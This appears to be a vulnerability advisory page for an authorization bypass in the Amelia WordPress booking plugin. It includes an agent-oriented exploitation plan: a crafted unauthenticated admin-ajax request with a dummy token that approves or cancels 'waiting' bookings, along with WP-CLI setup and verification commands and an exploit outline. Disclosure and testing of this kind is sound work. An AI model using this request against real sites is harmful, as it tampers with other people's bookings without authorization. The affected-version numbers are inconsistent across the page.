Booking for Appointments and Events Calendar – Amelia <= 2.2.1 - Unauthenticated Authorization Bypass via Remote Approval Endpoint
Description
The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Improper Authorization in all versions up to, and including, 2.2.1. This is due to a logical short-circuit flaw in authorization logic that causes token validation to be entirely skipped when a booking has a 'waiting' status. This makes it possible for unauthenticated attackers to approve any booking that is in 'waiting' status by sending a crafted request to the publicly-accessible admin-ajax endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6449 ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (versions <= 2.1.2) contains an improper authorization vulnerability in its remote booking management logic. Specifically, the API endpoint responsible for u…
Show full research plan
Exploitation Research Plan - CVE-2026-6449
1. Vulnerability Summary
The Booking for Appointments and Events Calendar – Amelia plugin (versions <= 2.1.2) contains an improper authorization vulnerability in its remote booking management logic. Specifically, the API endpoint responsible for updating booking statuses (often used for email-based approvals) contains a logical short-circuit. If a booking's current status is 'waiting', the code entirely skips the validation of the security token (token parameter). This allows an unauthenticated attacker to approve, cancel, or reject any booking that is currently in a "waiting" state simply by knowing or guessing its ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
action=wpamelia_api - Call (Route):
/bookings/status/{id}/{status}(Inferred from Amelia's remote approval URL structure). - HTTP Method:
GET(Remote approval links sent in emails typically use GET). - Vulnerable Parameter:
id(The booking ID) andstatus(The target status). - Authentication: Unauthenticated (the endpoint is registered under
wp_ajax_nopriv_wpamelia_api). - Precondition: At least one booking must exist in the database with a
'waiting'status.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.php?action=wpamelia_api&call=/bookings/status/{id}/{status}&token=ANYTHING. - Dispatch:
Plugin::wpAmeliaApiCall()inameliabooking.phpis invoked. This initializes the Slim framework container and routes. - Routing:
Routes::routes()maps the/bookings/statuspath to a controller (likelyBookingControlleror a specific status controller). - Authorization Check: The controller retrieves the booking from the database using the provided
{id}. - The Flaw: The authorization logic checks the booking's current status. If the status is
'waiting', it returnstruefor the authorization check (short-circuit), effectively skipping the validation of thetokenparameter. - Action: The booking's status is updated in the database to the value provided in the
{status}path segment.
4. Nonce Acquisition Strategy
Amelia's wpamelia_api action often bypasses standard WordPress nonces for remote approval endpoints because they are designed to be clicked from within emails where no WordPress session or nonce would be available.
If the environment requires a general AJAX nonce for wpamelia_api:
- Shortcode: Amelia's scripts are usually enqueued on pages containing the
[ameliabooking]or[ameliapurchasable]shortcodes. - Creation:
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content="[ameliabooking]" - Extraction: Navigate to the page and use
browser_eval:// Amelia typically localizes data into window.wpAmeliaLabels or window.ameliaBooking window.ameliaBooking?.nonce || window.wpAmeliaLabels?.nonce - Note: Based on the vulnerability description, the primary check being bypassed is the internal Amelia
token, not necessarily a WP nonce.
5. Exploitation Strategy
Step 1: Discover/Create a "Waiting" Booking
Since we need a booking with the status 'waiting', we will create one using WP-CLI to simulate a customer booking that requires approval.
Step 2: Craft the Exploitation Request
We will target the remote status update endpoint.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/bookings/status/<BOOKING_ID>/approved&token=pwned - Method:
GET
Step 3: Execute via http_request
# Pseudo-code for the agent
http_request(
url="http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/bookings/status/1/approved&token=invalid_token",
method="GET"
)
6. Test Data Setup
To reliably test this, we must ensure a booking exists in the 'waiting' state.
- Initialize Amelia: Access the admin once to ensure tables are created.
- Identify IDs: We need a valid
serviceId,employeeId, andcustomerId. - Create Booking:
Note: If thewp eval " global \$wpdb; // Insert a dummy booking with status 'waiting' \$wpdb->insert(\$wpdb->prefix . 'amelia_customer_bookings', [ 'appointmentId' => 1, 'customerId' => 1, 'status' => 'waiting', 'price' => 0, 'token' => 'secret_token_123' ]); echo 'Booking ID: ' . \$wpdb->insert_id; "amelia_customer_bookingstable requires a validappointmentId, create a dummy appointment in theamelia_appointmentstable first.
7. Expected Results
- Response: The server should return a
200 OKresponse, likely with a JSON body indicating success (e.g.,{"status": "success", "message": "..."}). - Effect: The
statuscolumn for the targeted booking in theamelia_customer_bookingstable should change from'waiting'to'approved'.
8. Verification Steps
After sending the HTTP request, verify the database state using WP-CLI:
wp db query "SELECT status FROM wp_amelia_customer_bookings WHERE id = 1"
Success Condition: The output should be approved.
9. Alternative Approaches
If the GET request to /bookings/status fails, the plugin might be using a different route or a POST request.
- Alternative Route:
/bookings/success/{id}(Some versions use this to finalize status). - Alternative Method: POST to
/bookings/status/{id}withstatus=approvedin the body. - Check Localization: If the
tokenis actually verified but the flaw is in the generation of the token for waiting bookings, check if the token is simply an empty string or the ID itself. (The description implies a logic skip, so the GET bypass is most likely).
Summary
The Booking for Appointments and Events Calendar – Amelia plugin (up to version 2.1.2) contains a logical authorization bypass in its remote booking management API. For bookings with a 'waiting' status, the plugin fails to perform the intended security token validation, allowing unauthenticated users to approve or reject appointments by sending a crafted request to the public AJAX endpoint.
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Amelia Plugin URI: https://wpamelia.com/ Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep! -Version: 2.2.1 +Version: 2.3 Author: Melograno Ventures Author URI: https://melograno.io/ Text Domain: ameliabooking @@ -56,13 +56,13 @@ // Const for uploads path if (!defined('AMELIA_UPLOADS_PATH')) { $uploadDir = wp_upload_dir(); - define('AMELIA_UPLOADS_PATH', $uploadDir['basedir']); + define('AMELIA_UPLOADS_PATH', !empty($uploadDir['basedir']) ? $uploadDir['basedir'] : ''); } // Const for uploads url if (!defined('AMELIA_UPLOADS_URL')) { $uploadUrl = wp_upload_dir(); - define('AMELIA_UPLOADS_URL', set_url_scheme($uploadUrl['baseurl'])); + define('AMELIA_UPLOADS_URL', !empty($uploadUrl['baseurl']) ? set_url_scheme($uploadUrl['baseurl']) : ''); } // Const for uploads url @@ -111,7 +111,7 @@ // Const for Amelia version if (!defined('AMELIA_VERSION')) { - define('AMELIA_VERSION', '2.2.1'); + define('AMELIA_VERSION', '2.3'); }
Exploit Outline
1. Identify a valid booking ID that is currently in 'waiting' status (awaiting approval). 2. Construct a GET request targeting the unauthenticated Amelia API endpoint: `/wp-admin/admin-ajax.php?action=wpamelia_api&call=/bookings/status/{id}/{new_status}`. 3. Replace `{id}` with the target booking ID and `{new_status}` with 'approved', 'rejected', or 'canceled'. 4. Include a dummy `token` parameter (e.g., `&token=pwned`). Because the plugin's authorization logic returns `true` automatically when the current status is 'waiting', the security token validation is bypassed and the status update is processed successfully.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.